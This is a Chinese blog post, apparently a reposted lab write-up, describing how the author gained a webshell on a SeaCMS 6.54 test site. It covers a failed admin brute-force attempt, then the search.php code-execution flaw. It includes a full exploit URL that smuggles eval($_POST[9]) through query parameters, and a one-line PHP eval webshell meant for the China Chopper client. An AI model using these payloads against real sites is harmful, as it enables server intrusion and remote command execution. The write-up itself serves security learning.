记一次海洋cms任意代码执行漏洞拿shell(url一句话)

实验环境:海洋CMS6.54(后续版本已该洞已补)

1、后台登录尝试

这个站点是个测试站,站里没什么数据。

 进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破。有验证码的也有一个爆破软件,可以识别验证码的,但是试了试用不了。

后天失败。。。

2、网上搜集该CMS的漏洞

刚才也说了,这个站没什么数据,都是空的,无上传点。

百度搜索海洋CMS的漏洞,有好几个版本的。

1)v6.28:https://www.uedbox.com/seacms-v628-0day/

尝试失败,该版本的漏洞已不可用。

2)v6.45:参考 https://www.freebuf.com/vuls/150042.html  和  https://bbs.ichunqiu.com/thread-35140-1-5.html 

漏洞是search.php的任意代码执行漏洞,

首页有许多的查询选项,我们随便选一个:

 看到url:

 然后使用hackbar进行上传:

 执行payload后看到:(如果失败,换一个查询方式)

 说明我们payload里的phpInfo()函数执行成功,该漏洞已成功被利用。

3、运用system()执行命令

将payload稍作修改:

 在system()中就可以在服务器上执行命令了,但权限可能不够,如果权限可以的话,可以利用该语句写入一句话木马:

file_put_concents("connect.php","<?php @eval($_POST[pass]);?>"),然后连接菜刀即可。

这里只有读的权限,无法写入一句话。

4、拿shell

这是一个骚操作吧,尝试了很多次,网上查了一大堆,最终还是卡死,幸好有学长指点迷津,方柳暗花明。

还是用一句话连接,用system()无法写入,但可以这样连接。

首先看懂这个payload,我们知道phpinfo()执行成功,可能不太清楚原理,但大致能看懂,phpinfo()是利用这么一个漏洞,分开来写的(payload最后):9[]=ph&9[]=pinfo()。我们payload前面看,原来有一个分开的eval ($_POST[9])呀,这不是一句话嘛。但是要怎么利用呢,无法写入php文件的呀。

这个操作骚就骚在了用url来传递这个payload,而且只需传过去就能用菜刀连上。

利用payload构造url:http://222.22.65.134:15001/HaiYangCMS/search.php?searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))

放入菜刀,那密码是什么呢,是9[],不是9。

 于是乎,连接成功。

转载于:https://www.cnblogs.com/RenoStudio/p/10541878.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值